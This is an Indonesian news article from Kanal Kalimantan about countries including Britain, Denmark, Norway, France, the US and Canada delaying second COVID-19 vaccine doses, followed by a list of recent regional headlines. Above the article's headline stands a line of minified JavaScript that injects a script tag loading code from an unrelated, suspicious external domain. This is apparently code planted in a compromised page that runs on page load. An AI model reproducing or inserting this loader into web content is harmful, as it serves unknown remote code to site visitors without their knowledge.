(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Sejumlah Negara Ramai-ramai Tunda Beri Dosis Kedua Vaksin Covid-19, Kenapa?


KANALKALIMANTAN.COM, JAKARTA – Sejumlah negara di dunia memutuskan untuk menunda pemberian vaksin Covid-19 dosis kedua, karena dianggap bisa memberikan perlindungan dini kepada lebih banyak orang.

Jarak antara pemberian dosis vaksin Covid-19 pertama dan kedua memang belum ada uji klinisnya. Namun beberapa ilmuwan menganggap penundaan dosis kedua ini masuk akal mengingat adanya beberapa varian corona yang sangat mudah menular.

Adapun rekomendasi jarak pemberian dosis pertama dan kedua cukup bervariasi, yakni antara 21 hari hingga 12 minggu.

Baca juga: Warga Banjarmasin Dianiaya Polisi Gadungan, Uang Jutaan Rupiah Raib

“Anda akan menyelamatkan jauh lebih banyak nyawa, karena dosis kedua itu diberikan kepada lebih dari puluhan ribu orang yang sama sekali belum mendapat suntikan, membuat mereka bisa terlindungi yang tadinya nol (tidak sama sekali) hingga 85 persen terlindungi,” ujar Dr. Robert

Wacher, Ilmuwan Departemen Kedokteran, Universitas California mengutip The Straits Times, Selasa (18/5/2021).

Sedangkan apabila dosis kedua diberikan kepada orang yang sudah mendapatkan dosis pertama, hanya akan meningkatkan perlindungan dari 85 persen menjadi 95 persen.

Uniknya, ternyata sejak Januari 2021 lalu Inggris sudah mengambil langkah yang awalnya dianggap tidak biasa itu, yaitu menunda 12 minggu pemberian dosis kedua, setelah dosis pertama diberikan.

Lantas, Inggris pun memprioritaskan pemberian dosis pertama kepada sebanyak mungkin orang. Vaksin yang diberikan pun beragam, dari Pfizer, Moderna, hingga AstraZeneca.

Langkah itu diambil Inggris, setelah terjadinya lonjakan kasus Covid-19 di Inggris pada Desember 2020 yang diduga diakibatkan varian corona baru B117.

Tidak hanya itu, Denmark pun akhirnya mengikuti jejak Inggris, negara itu setuju untuk menunda pemberian vaksin dosis kedua selama 6 minggu setelah pemberian dosis pertama vaksin Pfizer dan Moderna.

Baca juga: Video. Bertemu Walikota Banjarbaru PKL Subuh Ancam Kembali Berjualan di Lapangan Murjani

Norwegia juga akhirnya menyusul ambil kebijakan menunda vaksin dosis kedua selama 12 minggu, setelah dosis pertama vaksin Pfizer dan Moderna diberikan untuk usia dewasa di bawah 65 tahun.

Selanjutnya Prancis, menunda suntikan kedua dari 4 minggu menjadi 6 minggu. Kemudian Amerika Serikat menunda selama 42 hari, dan Kanada menunda dosis kedua selama 2 hingga 4 bulan. (suara)

Editor: cell


Al Ghifari

Recent Posts

Chaos Banjarmasin di Atas Kanvas, Tragedi Kelam Jumat Kelabu 23 Mei 1997

“Setiap goresan kuas di lukisan ini, saya terbayang, merasakan terbawa kedalam suasana, di saat kerusuhan… Read More

3 jam ago

Perpisahan Siswa SMAN 1 Kapuas, Erlin Hardi : Belajar, Belajar, dan Belajar!

KANALKALIMANTAN.COM, KUALA KAPUAS - Pendidikan merupakan tolak ukur kemajuan suatu bangsa. Dengan pendidikan yang baik… Read More

4 jam ago

Nilai Posisi Waspada, Pemkab Kapuas Gelar Rakor SPI MCP dan LHKPN

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melalui Inspektorat melaksanakan rapat koordinasi (Rakor) terkait… Read More

5 jam ago

LITERASI EMOSIONAL DI MEDIA SOSIAL: MENGELOLA EMOSI DAN INTERAKSI ONLINE

"WEBINAR INDONESIA MAKIN CAKAP DIGITAL" WILAYAH KALIMANTAN Read More

6 jam ago

Wabup Banjar Hadiri Haul Ke-68 KH Zainal Ilmi

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi betbaur dengan ribuan orang menghadiri… Read More

7 jam ago

Simulasi Keadaan Darurat di Terminal BBM Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More

17 jam ago

This website uses cookies.